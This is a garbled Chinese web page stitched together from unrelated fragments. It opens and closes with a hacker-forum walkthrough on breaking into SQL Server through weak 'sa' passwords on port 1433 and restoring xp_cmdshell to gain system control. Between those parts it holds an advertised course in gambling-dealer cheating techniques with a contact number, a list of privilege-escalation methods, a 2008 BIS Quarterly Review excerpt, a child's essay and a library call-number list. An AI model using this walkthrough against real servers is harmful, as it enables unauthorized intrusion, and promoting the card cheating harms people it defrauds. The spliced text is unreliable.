授渔之1433提权全教程
HUC
本帖最后由superM 于2012-10-22 11:50 编辑中国红客联盟专属教程集——基础类/v_show/id_XNDY0ODU4MDky.html 代理工具的使用/v_show/id_XNDY0ODYwODcy.html 一些基本工具使用教程中国红客联盟专属教程集——安全检测类/v_show/id_XNDY0ODExNzcy.html cookie在线注入/v_show/id_XNDY0ODA4NzYw.html ECSHOP查找型漏洞利用/v_show/id_XNDY0NzM1Mzg4.html 动易CMS拿shell/v_show/id_XNDY0NzQyOTI4.html ACCESS数据库手工注入/v_show/id_XNDY0NzM3MTg4.html 360eshop安全网店系统0day/v_show/id_XNDY0NzMxMzQw.html 打印漏洞/v_show/id_XNDY0NzEyNjg0.html ewebeditor漏洞的利用/v_show/id_XNDY0NzA2MjI0.html 动感上传漏洞拿shell/v_show/id_XNDY0Njk3NzUy.html 旁站拿站/v_show/id_XNDY0NjAyMTk2.html 数据库不能备份时的上传拿SHELL方法/v_show/id_XNDY0NTg5OTQw.html 突破防注入/v_show/id_XNDY0NTg5NjA4.html 动力上传漏洞/v_show/id_XNDY0NTY1MjMy.html 万能密码googlehack/v_show/id_XNDY0NTU2MTUy.html 一句话突破无数据库备份/v_show/id_XNDY0NTM2ODEy.html 万能密码拿后台中国红客联盟专属教程集——提权类/v_show/id_XNDY0ODYwMjky.html提权/v_show/id_XNDY0ODY3MTg0.html 提权2/v_show/id_XNDY0ODYzOTYw.html 提权3/v_show/id_XNDY0ODQxNjYw.html 提权4/thread-127564-1-1.html 中国红客联盟专属教程集点评工具。
1433提权全教程
1433端口提权的过程随着网络安全意识的提高，很多服务器的安全防范都非常严了，本人对web入侵是一巧不通就只会扫扫1433弱口令的服务器，于是研究一段时间，虽然进步不大，但是还是想把经验分享一下，正所谓授人以鱼不如授人以渔，而我现在正是告诉你打鱼的方法，下面就以一台服务器为例了，本例使用工具为SQL TOOLS 2.0，论坛有下，请自行搜索。
插播不是广告的广告：该工具集成度高，简单的sql指令无须使用分离器，直接在此工具中执行即可，其文件管理功能非常强大，反正我用着太顺手了，推荐一下，本文原创发布于＝华夏黑客同盟论坛＝（）广告完毕。
把扫到的ip和sa及口令填入连接后，用dos命令功能试试列目录显示错误信息：Error Message:无法装载 DLL xplog70.dll 或该 DLL 所引用的某一 DLL。
原因: 126(找不到指定的模块。
)。
这种情况大家在提权过程中经验遇到啊，它是由于xplog70.dll这个文件被删除或者做了其他限制，导致出现这个错误的这个错误的直接后果就是sql数据库的xp_cmdshell的存储过程无法使用，无法执行命令提权自然就无从说起了，当然我们还可以考虑其他的存储过程如：sp_oacreate和sp_oamethod来直接添加帐号，或者使用沙盘指令来提权，但这台服务器，这些功能都被限制了，还是考虑下恢复xplog70.dll了，测试上传无法成功，这条路走不通了，这时就考虑用到工具的文件管理功能了看到了把，和windows的资源管理器一样好用，目录列出来了，搜索一下可以用来提权的东西吧，这里我们首先要去看看sql的安装路径里的xplog70.dll文件是否存在看到吧，xplog70.dll文件不见了，被删除了，xpweb70.dll也被改了名字了-. - 继续搜寻下其他盘看看还有什么东西d盘下有几个网站和几个论坛，这些都是有用的信息，一旦sql的错误无法恢复的时候，我们就可以考虑通过这些网站来进行提权了，网站的提权，我就是搞不定，痛苦啊＝＝！！继续搜索在e盘下竟然有个sql2000的原始安装文件备份，怦然心动的感觉是美妙的，感谢我们亲爱的服务器管理员大人，看看这是什么＝＝＝＝e:\备份软件\MS Sql 2000\DEVELOPER\X86\BINN\那我们就开始恢复试试吧，切换到sql命令项，输入指令exec sp_dropextendedproc 'xp_cmdshell' //这个指令是删除sql数据库的xp_cmdshell的存储过程接着输入指令，重新加载新路径的存储过程。
荷官手法绝技课时
32荷官手法之-抓中张牌
第八课时
33荷官手法之-乱中还原
34荷官手法之-保底还原
35荷官手法之-神眼通
36荷官手法之-二八杠必杀
37荷官手法之-万能发牌
38荷官手法之-硬牌变牌
第九课时
39荷官手法之-麻将技术
40荷官手法之-防切手法
41荷官手法之-二张解码
42荷官手法之-二八杠
20荷官手法之-隐蔽洗牌
21荷官手法之-边发边换技术
第六课时
22荷官手法之-自由控牌
23荷官手法之-力拔千兵
24A荷官手法之-变牌全套
24B荷官手法之-单手偷顶
25荷官手法之-实战还原
第七课时
26荷官手法之-密码报牌
27荷官手法之பைடு நூலகம்完美打点技术
28荷官手法之-摸牌斗地主
29荷官手法之-桌面还原
30荷官手法之-中发技术
荷官手法绝技课时
荷官手法绝技全套共分十个课时，全部是打场实战技术，包学包会，全套包括：扑克、麻将、骰子、牌九、筒子二八杠，分别从洗牌、控牌、发牌、认牌、变牌、切牌六个方面进行讲解，具体课程如下：
第一课时
00荷官手法之-入门洗牌介绍
01荷官手法之-入门洗牌法
02荷官手法之-不动洗牌法
03荷官手法之-定位控牌
43荷官手法之-麻将放牌手法
44荷官手法之-三打二技术
44荷官手法之口口2528218777
第十课时
45荷官手法之-梭哈认牌
46荷官手法之-洗两家大牌
47荷官手法之-双人跳舞
48荷官手法之-换牌手法
49荷官手法之-鬼手发多家牌技术
50荷官手法之-花式切牌
51荷官手法之-有型拉牌
常见提权方法(一)
常见提权方法(一)常见提权方法1. 操作系统提权•提权漏洞利用：利用操作系统中已知的提权漏洞来获取系统权限，常见的漏洞包括文件权限配置错误、缓冲区溢出、逻辑漏洞等。
•拓展权限：利用操作系统提供的一些特殊权限或命令，如suid、sgid、sudo等，来获取临时的特权身份。
2. 应用程序提权•应用程序漏洞利用：利用应用程序中存在的漏洞，如SQL注入、远程代码执行、文件上传等，通过攻击者构造恶意数据或代码，来提升自己的权限。
•提权脚本/工具：使用已存在的提权脚本或工具，如Metasploit、MSFvenom等，来快速提升应用程序权限。
3. 身份伪装提权•社会工程学攻击：通过伪装成合法用户、管理员或其他高权限身份，诱导目标用户提供权限，如通过钓鱼邮件、伪装网站等手段。
•口令猜测/破解：对目标系统、应用程序的口令进行暴力猜测或使用破解工具，如字典攻击、暴力破解等。
•弱口令：对系统、应用程序等的默认账号密码或弱口令进行攻击，如admin/admin、123456等常见弱口令。
•配置错误利用：利用系统或应用程序配置错误，如未及时更新软件、未关闭不必要的服务等，从而获得系统权限。
5. 特殊设备提权•物理入侵：通过实际接触目标设备，如服务器、路由器等，进行操作，获取管理权限。
•设备漏洞利用：利用特殊设备（如网络摄像头、智能家居等）存在的漏洞，进行远程攻击，获取设备权限。
以上是常见的提权方法，在进行安全防护时，需要注意及时更新系统和应用程序、配置合理的权限控制、使用强密码、定期进行安全审计等，以有效防范提权攻击的发生。
6. 物理设备提权•USB攻击：通过携带恶意的USB设备，如USB键盘模拟器、USB 存储设备等，来获取目标设备的权限。
•直接访问：通过直接访问目标设备的控制台或终端，如服务器、交换机等，进行非法操作，获取设备权限。
•中间人攻击：通过在网络通信过程中劫持、篡改或窃取数据，获取目标系统或应用程序的权限。
海王捕鱼等级评定标准及流程介绍
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recent initiaatives by the basel-based r_qt0806
BIS Quarterly ReviewJune 2008 International banking and financial market developmentsBIS Quarterly ReviewMonetary and Economic DepartmentEditorial Committee:Claudio Borio Frank Packer Paul Van den BerghWhite Már Gudmundsson Eli Remolona William Robert McCauley Philip TurnerGeneral queries concerning this commentary should be addressed to Frank Packer(tel +41 61 280 8449, e-mail: frank.packer@), queries concerning specific parts to theauthors, whose details appear at the head of each section, and queries concerning the statisticsto Philippe Mesny (tel +41 61 280 8425, e-mail: philippe.mesny@).Requests for copies of publications, or for additions/changes to the mailing list, should be sent to:Bank for International SettlementsPress & CommunicationsCH-4002 Basel, SwitzerlandE-mail: publications@Fax: +41 61 280 9100 and +41 61 280 8100This publication is available on the BIS website ().©Bank for International Settlements 2008. All rights reserved. Brief excerpts may be reproduced or translated provided the source is cited.ISSN 1683-0121 (print)ISSN 1683-013X (online)BIS Quarterly ReviewJune 2008International banking and financial market developmentsOverview : a cautious return of risk tolerance (1)Credit market turmoil gives way to fragile recovery (1)Box: Estimating valuation losses on subprime MBS with theABX HE index – some potential pitfalls (6)Bond yields recover as markets stabilise (8)A turning point for equity prices? (11)Emerging market investors discount growth risks (12)Tensions in interbank markets remain high (13)Highlights of international banking and financial market activity (17)The international banking market (17)The international debt securities market (23)Derivatives markets (24)Box: An update on local currency debt securities marketsin emerging market economies (28)Special featuresInternational banking activity amidst the turmoil (31)Patrick McGuire and Goetz von PeterThe build-up of international bank balance sheets (32)Developments in the second half of 2007 (36)Bilateral exposures of national banking systems (39)Concluding remarks (42)Managing international reserves: how does diversification affect financial costs? 45 Srichander RamaswamyFramework of the analysis (46)Risk-return trade-offs (48)Financial cost of acquiring reserves through FX intervention (49)Box: Methodology for computing estimates of financial cost (51)Central bank objectives and FX reserve allocation (53)Conclusions (54)Credit derivatives and structured credit: the nascent markets of Asiaand the Pacific (57)Eli M Remolona and Ilhyock ShimCredit default swaps (58)Traded CDS indices (60)Collaterised debt obligations (61)How the region’s markets have fared in the global turmoil (63)Conclusion (65)Asian banks and the international interbank market (67)Robert N McCauley and Jens ZukunftAsian banks’ international interbank liquidity: where do we stand? (68)Foreign banks and the local funding gap (73)Box: The Asian financial crisis: international liquidity lessons (76)Conclusions (78)BIS Quarterly Review, June 2008 iiiRecent initiatives by Basel-based committees and groupsBasel Committee on Banking Supervision (81)Joint Forum (84)Financial Stability Forum (87)Statistical Annex ........................................................................................ A1 Special features in the BIS Quarterly Review ................................ B1 List of recent BIS publications .............................................................. B2Notations used in this Reviewe estimatedlhs, rhs left-hand scale, right-hand scalemillionbillion thousand… notavailableapplicable. not– nil0 negligible$ US dollar unless specified otherwiseDifferences in totals are due to rounding.iv BIS Quarterly Review, June 2008BIS Quarterly Review, June 20081Ingo Fender +41 61 280 8415ingo.fender@Peter Hördahl+41 61 280 8434peter.hoerdahl@Overview: a cautious return of risk toleranceFollowing deepening turmoil and rising concerns about systemic risks in the first two weeks of March, financial markets witnessed a cautious return of investor risk tolerance over the remainder of the period to end-May 2008. The process of disorderly deleveraging which had started in 2007 intensified from end-February, with asset markets becoming increasingly illiquid and valuations plunging to levels implying severe stress. However, markets subsequently rebounded in the wake of repeated central bank action and the Federal Reserve-facilitated takeover of a large US investment bank. In sharp contrast to these favourable developments, interbank money markets failed to recover, as liquidity demand remained elevated.Mid-March was a turning point for many asset classes. Amid signs of short covering, credit spreads rallied back to their mid-January values before fluctuating around these levels throughout May. Market liquidity improved, allowing for better price differentiation across instruments. The stabilisation of financial markets and the emergence of a somewhat less pessimistic economic outlook also contributed to a turnaround in equity markets. In this environment, government bond yields bottomed out and subsequently rose considerably. A reduction in the demand for safe government securities contributed to this, as did growing perceptions among investors that the impact from the financial turmoil on real economic activity might turn out to be less severe than had been anticipated. Emerging market assets, in turn, performed broadly in line with assets in the industrialised economies, as the balance of risk shifted from concerns about economic growth to those about inflation.Credit market turmoil gives way to fragile recoveryFollowing two weeks of increasingly unstable conditions in early March, credit markets were buoyed by a cautious return of risk tolerance, with spreads recovering from the very wide levels reached during the first quarter of 2008. Sentiment turned in mid-March, following repeated interventions by the Federal Reserve to improve market functioning and to help avert the collapse of a major US investment bank. As these actions alleviated earlier concerns about risks to the financial system, previously dysfunctional markets resumed trading and prices rallied across a variety of risky assets.2BIS Quarterly Review, June 2008Between end-February and end-May, the US five-year CDX high-yield index spread tightened by about 144 basis points to 573, while corresponding investment grade spreads fell by 63 basis points to 102. European and Japanese spreads broadly mirrored the performance of the major US indices, declining by between 25 and 153 basis points overall. Between 10 and 17 March, all five major indices had been pushed out to or near the widest levels seen since their inception. They then rallied back and seemed to stabilise around their mid-January values, remaining significantly above the levels prevailing before the start of the market turmoil in mid-2007 (Graph 1).business lines, tightening repo haircuts caused a number of hedge funds and other leveraged investors to unwind existing positions. As a result, concerns underlying exposures are almost entirely protected by federal guarantees, as summer of 2007 (Graph 3, right-hand panel).BIS Quarterly Review, June 20083Fears about collapsing financial markets reached a peak in the week March, triggering repeated policy actions by the US authorities. investment grade credit default swap (CDS) indices underperforming lower-quality benchmarks (Graph 4, left-hand and centre panels). Spreads were temporarily arrested when, on 11 March, the Federal Reserve announced an expansion of its securities lending activities targeting the large US dealer banks (see section on money markets and Table 1 below). European CDS indices tightened by more than 10 basis points on the news, while the two key basis points down, respectively (Graph 1). allowing it to make secured advance payments to the troubled investment These developments appeared to herald a turning point in the market, funds target down to 2.25%. Earnings announcements by major investment banks on 18 and 19 March that were better than anticipated provided further support, with investors increasingly adopting the view that various central bank initiatives aimed at reliquifying previously dysfunctional markets were gradually gaining traction. Consistent with perceptions of a considerable reduction in systemic risk, spreads, and particularly those for financial sector and other investment grade firms, tightened from the peaks reached in early March(Graph 4). Movements were partially driven by the unwinding of speculative short positions, as suggested by changes in pricing differentials across products with similar exposures, according to the ease with which such positions can be opened or closed. For example, spreads on CDS contracts referencing the major credit indices moved more strongly than those on the same indices’ constituent names (Graph 1, centre and right-hand panels). Similarly, CDS markets outperformed those for comparable cash bonds, as market participants adjusted their synthetic trades.risks (Graph 1, centre and right-hand panels). Similarly, implied volatilities from CDS index options eased into the second quarter, indicating a somewhat reduced uncertainty about shorter-run credit spread movements (Graph 3, centre and right-hand panels).losses based on ABX prices (see box). This was despite the lack of a recovery for the index series with lower original ratings, whose prices continued to4 BIS Quarterly Review, June 2008BIS Quarterly Review, June 20085suggest expectations of complete writedowns of all underlying bonds by mid-2009 (Graph 2, centre panel). At these low levels, and with none of the ABX indices having experienced any principal writedowns so far, investors appeared to be pricing in the possibility of legislation writing down mortgage principal. Against this background, issuance of private-label mortgage-backed securities remained depressed, with volume growth coming mainly from US agency-Supported by optimism about banks’ recapitalisation efforts, spreads pace of capital replenishment. Following news of a rights issue on 31 March, CDS spreads referencing debt issued by Lehman Brothers tightened. UBS announced large first quarter losses and a fully underwritten capital increase on 1 April, and other institutions followed over the rest of the month. Globally, banks managed to raise more than $100 billion of new capital in April alone, stemming the deterioration in capital ratios. Financial CDS spreads, the monoline segment excluded, outperformed corresponding equity prices in the process (Graph 4, right-hand panel), reflecting diminishing concerns about imminent financial sector risk as well as the dilutory effects of equity financing. Markets retraced some of these gains in early May, partially driven by strong supply flows from corporate issuers that included, at $9 billion, the largest US dollar deal by a non-US borrower in seven years. Volumes were dominated by6 BIS Quarterly Review, June 2008Pitfalls in using the ABX. Estimated mark to market losses and actual writedowns made by banks and other investors can differ for a variety of reasons. Analysts, depending on their objective, thus have to be mindful of potential sources of bias. At least three such sources can be identified, of which two are specific to the ABX index:•Accounting treatment. Subprime MBS are held by a variety of investors and for different purposes. While large amounts of outstanding subprime MBS are known to reside inbanks’ trading books, banks and other investors may also hold these securities tomaturity. This can result in different accounting treatments, which would tend to deflateactual writedowns and impairment charges relative to estimates of mark to market losseson the basis of market indices, such as the ABX. The size of this effect, however, isdifficult to determine. Further complexities are added once securities cease to be tradedin active markets, implying the use of valuation techniques, which may differ acrossinvestors, in establishing fair value.5•Market coverage. ABX prices may not be representative of the total subprime universe, due to limited index coverage of the overall market. Original balance across all four serieshas averaged about $31 billion. This compares to average monthly MBS issuance ofsome $36 billion over the 10 quarters up to mid-2007, ie almost a month’s worth ofsubprime MBS supply per index series. Similarly, with 2004–07 vintage subprime MBSvolumes estimated at around $600 billion in outstanding amounts, each series representssome 5% of the overall universe on average. At the same time, ABX deal composition isknown to be quite similar in terms of collateral attributes (such as FICO scores and loan-to-value ratios) to the overall market (by vintage).6 Therefore, despite somewhat limitedcoverage, this particular source of bias may not be large.•Deal-level coverage. Similarly, ABX prices may not be representative because each index series covers only part of the capital structure of the 20 deals included in the index(see Graph A, right-hand panel, for an illustration).7 In particular, tranches referenced bythe AAA indices are not the most senior pieces in the capital structure, but those with thelongest duration (expected average life) – the so-called “last cash flow bonds”. Theseclaims will receive any cash flow allocations sequentially after all other AAA trancheshave been paid; and tend to switch to pro rata pay only when the highest mezzaninebond has been written down. It follows that AAA ABX index prices are going to reflectdurations that are longer, and effective subordinations that are lower, than those of theremaining AAA subprime MBS universe. As a result, using newly available data for MBStranches with shorter durations, the $119 billion of losses implied by the ABX AAA indicesas of end-May would be some 62% larger than those implied under more realisticassumptions.8_________________________________1 See, for example, International Monetary Fund, Global Financial Stability Report, April 2008, pp 46–52, and Box 1 in Bank of England, Financial Stability Report, April 2008.2 Supplementary indices, called ABX HE PENAAA, were introduced in May 2008 to provide additional pricing information for all four existing vintages.3 An alternative approach, likely to lead to very different results, would estimate future default-related cash flow shortfalls on the basis of deal-level or aggregate data for subprime securities. To obtain these estimates, such methodologies rely on information about collateral performance and require the analyst to make assumptions about structural relationships and model parameters. Typical subprime loss projections, for example, use delinquency data and assumptions about factors such as delinquency-to-default transitions, default timing, and losses-given-default. See Box 1 in the Overview section of the December 2007 BIS Quarterly Review for an example on the basis of an approach devised by UBS. 4Mark to market losses (relative to par) are calculated assuming that unrated tranches are written down completely; ABX prices for the BBB– indices are used to mark BB collateral; rated tranches from the 2004 vintage are assumed unimpaired; outstanding amounts remain static.5 For details, see Global Public Policy Committee, Determining fair value of financial instruments under IFRS in current market conditions, December 2007.6 See, for example, UBS, Mortgage Strategist, 17 October 2006. 7 Incomplete coverage at the deal level further reduces effective market coverage: typical subprime MBS structures have some 15 tranches per deal, of which only five were originally included in the ABX indices. As a result, each series references less than 15% of the underlying deal volume at issuance.8 Duration effects at the AAA level are bound to be significant for overall loss estimates as the AAA classes account for the lion’s share of MBS capital structures. Using prices for the newly instituted PENAAA indices, which reference “second to last” AAA bonds, to calculate AAA mark to market losses generates an estimate of $73 billion. This, in turn, translates into an overall valuation loss of $205 billion (ie some 18% below the unadjusted estimate of $250 billion).capitalisation had recovered, while remaining weaker than before the crisis. At the same time, still-elevated implied volatilities suggested ongoing investor uncertainty over the future trajectory of credit markets. With the credit cycle continuing to deteriorate and related losses on exposures outside the residential mortgage sector looming, it was thus unclear whether liquidity supply and risk tolerance had recovered to an extent that would help maintain this improved environment on a sustained basis.Bond yields recover as markets stabiliseFrom its low point on 17 March, the 10-year US Treasury bond yield rose by 75 basis points to reach 4.05% at the end of May. During this period, 10-year yields in the euro area and Japan climbed by around 70 and 50 basis points, respectively, to 4.40% and 1.75% (Graph 5, left-hand panel). In US and euro area bond markets, the increase in yields was particularly pronounced for short maturities, with two-year yields rising by 130 basis points in the United States and by almost 120 basis points in the euro area (Graph 5, centre panel). Two-year yields went up in Japan too, but by a more modest 35 basis points. In addition to reduced safe haven demand for government securities, the rise in short-term yields reflected a reassessment among investors of the need for monetary easing, following the stabilisation of financial markets.In the first two weeks of March, as the financial turmoil deepened and forward rates dropping (Graph 6, right-hand panel). While flight to safety and other effects relating to the volatility in financial markets may have influenced consistent with the observed fall at the short end of the forward break-evencurve. At the same time, these same concerns led investors to increasinglyexpect the Federal Reserve to maintain a more accommodative policy stancethan normal in an effort to contain the fallout on economic growth. Insofar asthis was seen as likely to lead to higher prices down the road, it could explainthe rise in distant forward break-even rates at the time.As the situation in financial markets stabilised after the rescue of BearStearns in mid-March, and perceptions of the economic outlook improvedsomewhat, the US forward break-even curve shifted in the opposite directionand flattened considerably. To a large extent, this shift in the forward curve islikely to have reflected a reversal of the same influences that had been at playin the first two weeks of March: the dampening effect on prices coming from theturmoil was perceived to be weaker after mid-March, while the Federal Reservewas seen to be less likely to deliver further sharp rate cuts. Moreover, upwardprice pressures appeared to intensify in the short to medium term, with foodprices rising continuously and oil prices reaching new all-time highs during thisperiod (Graph 5, right-hand panel), pushing near-term forward break-evenrates further upwards.real yields reflected a combination of expectations of higher average realinterest rates in coming years and a reversal of flight to safety pressures. Theformer component, in turn, was due to perceptions among investors that thereal economic fallout from the financial turmoil was likely to be less severe thanhad previously been anticipated. This was despite indications of deterioratingconsumer confidence amid tighter bank lending standards and continuedweakness in US housing markets. The revival in investor confidence seemedinstead to follow from the stabilisation in markets and from a number ofrelatively upbeat macroeconomic announcements. These included better thangovernment securities.In line with perceptions that the stabilisation of markets had reduced therisks to economic growth somewhat, prices of short-term interest rateindicating expectations of a period of stable rates, followed by rising rates inthe first half of 2009 (Graph 7, left-hand panel). In the euro area, EONIA swapprices at the beginning of March had signalled expectations of sizeable ECBrate cuts, but by end-May prices had shifted to reflect expectations of graduallyincreasing policy rates (Graph 7, centre panel). Meanwhile in Japan,expectations of mildly falling policy rates in March had by May been revised toindicate rising rates (Graph 7, right-hand panel).A turning point for equity prices?to end-2007 levels, gained almost 10% between 17 March and end-May. Equity markets in Europe and Japan, which had seen losses in excess of 20% between the turn of the year and 17 March, subsequently also displayed a strong recovery, with the EURO STOXX gaining 11% and the Nikkei 225 rising Reflecting the improved situation in financial markets during this period, by almost 20% and 34%, respectively. These gains occurred despiteannouncements by several banks of record losses during the first quarter amidcontinued credit-related write-offs. Investors obviously took solace from the factthat losses – although big – were no worse than expected, and that a numberof banks had been successful in their recapitalisation efforts (see credit marketsection above).surprises remained well above that of negative surprises, provided somesupport for equity prices. In addition, as fears failed to materialise that economic growth might slow dramatically in the first few months of the year,investors increasingly began to see equity valuations as attractive following thesharp price declines in late 2007 and early 2008. markets recovered after a sharp dip in March (Graph 8, right-hand panel).Emerging market investors discount growth risksequities fell up to mid-March, before rebounding in the wake of the change inmarket sentiment following the Bear Stearns rescue in the United States.Between end-February and end-May, the MSCI emerging market indexgained about 4% in local currency terms, and was up more than 14% from thelows established in mid-March. Latin American markets, which had seen ahigh trading volumes in commodity derivatives (see the Highlights section inthis issue) and speculative demand as a source of part of that strength, otherspointed to low supply elasticities and expectations of sustained rates ofindustrialisation throughout the emerging markets. With the region being amajor net commodities importer and natural disaster contributing to weakerequity prices in China, Asian markets were broadly flat over the period.Emerging Europe, in turn, remained exposed to the risk of a reversal in privatecapital flows, owing to large current account deficits and associated financingneeds in a number of countries. Nevertheless, strong gains in Russia and thebetter than expected growth performance of major European economies in thefirst quarter seemed to aid equity markets in May.Emerging market credit spreads, as measured by the EMBIG index,accounting for most of the spread tightening, the EMBIG remained almost flatin return terms, gaining about 1.1% between end-February and end-May(Graph 9, left-hand panel). Large stocks of foreign reserves and favourablemacroeconomic performance in key emerging market economies continued toprovide support, aiding the market recovery. Spread dispersion remained high,pointing to ongoing price differentiation according to credit quality (Graph 10,centre panel). At the same time, with inflation running well above target in anumber of major emerging market economies, policy credibility appeared tobecome more of a concern, putting pressure on local bond markets. Risinginflation expectations, combined with increasing US Treasury yields andrelatively resilient markets during the earlier stages of the recent marketturmoil, may thus have contributed to a somewhat more muted performancefrom emerging market bonds relative to other asset markets over the periodsince mid-March.Tensions in interbank markets remain highas high at the end of May as three months earlier, across most horizons and inall three major markets (Graph 10). This appeared to imply expectations thatinterbank strains were likely to remain severe well into the future.After a relatively smooth turn of the year, interbank market tensions hadappeared to ease somewhat until early March 2008, and Libor-OIS spreadshad shown some signs of stabilising. However, as the financial turmoilsuddenly deepened in the second week of March, following an acceleration inmargin calls and rapid unwinding of trades (see the credit section above),interbank market pressures quickly increased. With market rumoursproliferating about imminent liquidity problems in one or more large investmentbanks, banks became increasingly wary of lending to others. At the same time,their own demand for funds jumped as they sought to avoid being perceived ashaving a shortage of liquidity.Selected central bank liquidity measures during the period under review7 March The Federal Reserve increases the size of its Term Auction Facility (TAF) to $100 billion andextends the maturity of its repos to up to one month.11 March The Federal Reserve introduces the Term Securities Lending Facility (TSLF), which allowsprimary dealers to borrow up to $200 billion of Treasury securities against collateral. Theexisting dollar swap arrangements between the Federal Reserve and the ECB and the SNB areincreased from a total of $24 billion to $36 billion.16 March The Federal Reserve introduces the Primary Dealer Credit Facility (PDCF), which providesovernight funding for primary dealers in exchange for collateral. The Federal Reserve alsolowers the spread between the discount rate and the federal funds rate from 50 to 25 basispoints, and lengthens the maximum maturity from 30 to 90 days.28 March The ECB announces that the maturity of its longer-term refinancing operations (LTROs) wouldbe extended from up to three months to a maximum of six months.21 April The Bank of England introduces the Special Liquidity Scheme, under which banks can swapilliquid assets for Treasury bills.2 May The Federal Reserve boosts the size of its TAF programme to $150 billion, and announces abroadening of the collateral eligible for the TSLF auctions. The dollar swap arrangements withthe ECB and the SNB are increased further, from $36 billion to $62 billion.Source: Central bank press releases. Table 1The near collapse and subsequent takeover of Bear Stearns onMarch highlighted the risks that banks face in such situations. On the would not be allowed to fail, and this helped restore order in other markets. On the other hand, the speed with which Bear Stearns’ access to market liquidity had collapsed underscored the vulnerability of other banks in this regard, which kept Libor-OIS spreads high even as CDS spreads on banks and brokerages Throughout the period, central banks maintained and even stepped up activity from central banks seemed to have limited immediate impact oninterbank rates. To some extent, this may have reflected the fact that while thesums involved in central bank liquidity schemes were large in absolute terms,they were still rather limited compared to banks’ assessment of their overallliquidity needs against the background of a sharp decline in traditional sourcesof funding. One significant source of short-term funding for banks in the pasthas been money market mutual funds. Such funds have seen substantialinflows since the outbreak of the financial turmoil (Graph 11, left-hand panel),reflecting a noticeable reduction in investors’ appetite for risk. However, thisloss of risk appetite also resulted in money market funds shifting theirinvestments increasingly into treasury bills and other safe short-term securities,hence depriving banks of a key funding source (Graph 11, centre panel). Thissuggests that determining how persistent the interbank tensions will be maydepend significantly, among other things, on how long the risk appetite ofmoney market fund managers, and investors more broadly, will continue to bedepressed.。
人生理论与实践的读后感
人生理论与实践的读后感《人生理论与实践的读后感》哇塞！最近我读了一本超级棒的书，叫《人生理论与实践》。
这书里讲的东西可多啦，让我的小脑袋瓜不停地转呀转。
书里说，人生就像一场大冒险！有时候你会遇到高山，得努力爬上去；有时候又会碰到河流，得想法子游过去。
这多像我玩的冒险游戏呀，一会儿要打怪兽，一会儿要找宝藏。
我就想到了我自己。
我学习的时候，不就像在爬山吗？那些难题就像山上的大石头，挡在我面前。
我要是退缩了，那不就没法前进啦？可我要是咬咬牙，使劲儿去解决它，说不定就能站在山顶，看到更美的风景呢！这难道不像人生吗？遇到困难，不能怕，得勇敢冲！还有啊，书里说实践才是最重要的。
这就好比我想学会骑自行车，光在脑子里想怎么骑，能学会吗？肯定不能呀！我得真的去骑，摔几次跤，才能掌握平衡，才能自由自在地在路上跑。
我记得有一次，学校组织做手工。
一开始，我看着那些材料，心里直犯嘀咕：“这能做出个啥呀？” 可当我动手去做，一点点尝试，一点点改进，最后居然做出了一个漂亮的小房子！这让我明白，光想不做，啥都没有；动手去做，才有收获。
我还跟我的小伙伴们讨论了这本书呢。
我问小李：“你说人生咋这么复杂呢？”小李眨眨眼睛说：“哪有那么复杂，咱们开开心心过好每一天，不就行了？”小王也凑过来说：“就是就是，不过咱们也得努力，不然以后可咋办？”你看，大家的想法都不一样。
读了这本书，我觉得人生就像一幅大大的拼图。
我们每个人都在努力找到属于自己的那一块，然后把它们拼在一起，组成一幅美丽的图画。
也许过程中会有找错的时候，会有拼不上去的时候，但是只要不放弃，总会拼出属于自己的精彩。
难道不是这样吗？我们不能因为一时的困难就说放弃，不能因为害怕失败就不敢尝试。
人生那么长，机会那么多，只要我们勇敢地去实践，去探索，总会找到属于自己的路。
所以呀，我觉得这本书真的让我明白了好多好多。
它让我知道，人生没有固定的模式，没有绝对的答案。
我们要勇敢地去闯，去尝试，去犯错，然后从中学到东西，让自己变得更好。
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换一种思维等于换了一个人 逻辑学基础 推理的要素 智者的思辨花园 :趣味逻辑纵横谈 美的现实性 :艺术作为游戏、象征和节庆 冯友兰：人生，觉解了吗 每一次悲伤, 都可以微笑面对 你坚持的原则其实害了你 中国风尚史 有教养的中国人 仁义礼智 :我们心中的道德法则 朱光潜：谈美与修养 采菊东篱 :诗酒流连的生活美学 认知的维度 记忆碎片 :我们如何构建自己的过去 :the new science of memory 羞耻感 学会快乐 自控力 :斯坦福高效实用的25堂心理学课, 实操篇 读懂二孩心理 老年心理学导读 总有一天，你会感谢曾经的自己 天堂不一定在前地狱一定在后 敢想才有机会敢干才会成功 行动变现 :如何让我们的拼搏更有价值 将来的你，一定会感谢现在拼命的自己 科学验证的改运法 心理咨询师精神科临床实训手册 在可译与不可译之间 :第三届全国宗教经典翻译研讨会论文 中国古代佛典“译道”的知识谱系及现代阐释 禅思想史讲义 莲花净土 :佛教的彼岸 抱朴归真 :道教的修炼 人文社科项目申报300问 学习与研究论集 在跨文化边界思索与争辩 身价 :让高端人脉成为你的有效资源 基于社交网络的行为分析与挖掘 舆论的脾气
B804/M605 B81/T241 B812.23/M322 B812/Z451a-2 B82/J210 B821/F533 B821-49/C917 B821-49/W933 B824.5/C615 B825/S988 B825/Z751 B83/Z845k B834.3/T324 B842.1/S761 B842.3/F362 B842.6/B870a B842.6/L351 B842.6/M274b B844.1/B983.1a B844.4/G439 B848.4/L703 B848.4/M273.3 B848.4/X146 B848.4/Y304 B848.4/Z223e B848.4/Z709.1 B849.1/Z164 B91/L964 B942/H759 B946.5/X374a B949.2/C620 B958/Z343 C36/H923 C52/X943 C53/Z805b C912.11/J505a C912.11/L203 C912.63/Z312
1433提权详解
1433提权详解！！！随着网络安全意识的提高，很多服务器的安全防范都非常严了，本人对web入侵是一巧不通就只会扫扫1433弱口令的服务器，于是研究一段时间，虽然进步不大，但是还是想把经验分享一下，正所谓授人以鱼不如授人以渔，而我现在正是告诉你打鱼的方法，下面就以一台服务器为例了，本例使用工具为SQL TOOLS 2.0，论坛有下，请自行搜索。
插播不是广告的广告：该工具集成度高，简单的sql指令无须使用分离器，直接在此工具中执行即可，其文件管理功能非常强大，反正我用着太顺手了，推荐一下，本文原创发布于＝华夏黑客同盟论坛＝（）广告完毕。
把扫到的ip和sa及口令填入连接后，用dos命令功能试试列目录显示错误信息：Error Message:无法装载 DLL xplog70.dll 或该 DLL 所引用的某一 DLL。
原因: 126(找不到指定的模块。
)。
